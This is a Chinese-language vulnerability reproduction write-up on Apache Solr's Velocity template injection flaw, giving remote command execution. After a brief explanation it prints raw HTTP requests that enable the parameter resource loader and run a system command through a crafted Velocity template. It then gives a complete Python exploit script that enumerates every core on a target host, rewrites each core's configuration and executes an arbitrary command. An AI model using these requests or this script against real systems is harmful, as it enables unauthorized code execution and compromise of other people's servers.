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Apache Solr Velocity模版注入远程命令执行

一、漏洞简介

该漏洞的产生是由于两方面的原因:

1、当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

2、2Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

二、漏洞影响

经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。

推测影响全版本Apache Solr。

三、复现过程

手动检测

手动检测访问http://url:8983/solr/#/进入主界面,单击左侧的Core Selector查看集合名称

1、post发送请求

POST /solr/test/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

2、执行系统命令

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: localhost:8983

使用脚本检测

auth: @l3_W0ng
version: 1.0
function: Apache Solr RCE via Velocity template
usage: python3 script.py ip [port [command]]
               default port=8983
               default command=whoami
note:
Step1: Init Apache Solr Configuration
Step2: Remote Exec in Every Solr Node
"""


import sys
import json
import time
import requests


class initSolr(object):

    timestamp_s = str(time.time()).split('.')
    timestamp = timestamp_s[0] + timestamp_s[1][0:-3]

    def __init__(self, ip, port):
        self.ip = ip
        self.port = port

    def get_nodes(self):
        payload = {
            '_': self.timestamp,
            'indexInfo': 'false',
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'

        try:
            nodes_info = requests.get(url, params=payload, timeout=5)
            node = list(nodes_info.json()['status'].keys())
            state = 1
        except:
            node = ''
            state = 0

        if node:
            return {
                'node': node,
                'state': state,
                'msg': 'Get Nodes Successfully'
            }
        else:
            return {
                'node': None,
                'state': state,
                'msg': 'Get Nodes Failed'
            }

    def get_system(self):
        payload = {
            '_': self.timestamp,
            'wt': 'json'
        }
        url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
        try:
            system_info = requests.get(url=url, params=payload, timeout=5)
            os_name = system_info.json()['system']['name']
            os_uname = system_info.json()['system']['uname']
            os_version = system_info.json()['system']['version']
            state = 1

        except:
            os_name = ''
            os_uname = ''
            os_version = ''
            state = 0

        return {
            'system': {
                'name': os_name,
                'uname': os_uname,
                'version': os_version,
                'state': state
            }
        }


class apacheSolrRCE(object):

    def __init__(self, ip, port, node, command):
        self.ip = ip
        self.port = port
        self.node = node
        self.command = command
        self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node

    def init_node_config(self):
        url = self.url + '/config'
        payload = {
            'update-queryresponsewriter': {
                'startup': 'lazy',
                'name': 'velocity',
                'class': 'solr.VelocityResponseWriter',
                'template.base.dir': '',
                'solr.resource.loader.enabled': 'true',
                'params.resource.loader.enabled': 'true'
            }
        }
        try:
            res = requests.post(url=url, data=json.dumps(payload), timeout=5)
            if res.status_code == 200:
                return {
                    'init': 'Init node config successfully',
                    'state': 1
                }
            else:
                return {
                    'init': 'Init node config failed',
                    'state': 0
                }
        except:
            return {
                'init': 'Init node config failed',
                'state': 0
            }

    def rce(self):
        url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
                          "%23set($x=%27%27)+"
                          "%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
                          "%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
                          "%23set($str=$x.class.forName(%27java.lang.String%27))+"
                          "%23set($ex=$rt.getRuntime().exec(%27" + self.command +
                          "%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
                          "%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
        try:
            res = requests.get(url=url, timeout=5)
            if res.status_code == 200:
                try:
                    if res.json()['responseHeader']['status'] == '0':
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                    else:
                        return 'RCE failed @Apache Solr node %s\n' % self.node
                except:
                    return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))

            else:
                return 'RCE failed @Apache Solr node %s\n' % self.node
        except:
            return 'RCE failed @Apache Solr node %s\n' % self.node


def check(ip, port='8983', command='whoami'):
    system = initSolr(ip=ip, port=port)
    if system.get_nodes()['state'] == 0:
        print('No Nodes Found. Remote Exec Failed!')
    else:
        nodes = system.get_nodes()['node']
        systeminfo = system.get_system()
        os_name = systeminfo['system']['name']
        os_version = systeminfo['system']['version']
        print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
              'you should change your command with right os platform\n' % (os_name, os_version))

        for node in nodes:
            res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
            init_node_config = res.init_node_config()
            if init_node_config['state'] == 1:
                print('Init node %s Successfully, exec command=%s' % (node, command))
                result = res.rce()
                print(result)
            else:
                print('Init node %s Failed, Remote Exec Failed\n' % node)


if __name__ == '__main__':
    usage = ('python3 script.py ip [port [command]]\n '
             '\t\tdefault port=8983\n '
             '\t\tdefault command=whoami')

    if len(sys.argv) == 4:
        ip = sys.argv[1]
        port = sys.argv[2]
        command = sys.argv[3]
        check(ip=ip, port=port, command=command)
    elif len(sys.argv) == 3:
        ip = sys.argv[1]
        port = sys.argv[2]
        check(ip=ip, port=port)
    elif len(sys.argv) == 2:
        ip = sys.argv[1]
        check(ip=ip)
    else:
        print('Usage: %s:\n' % usage)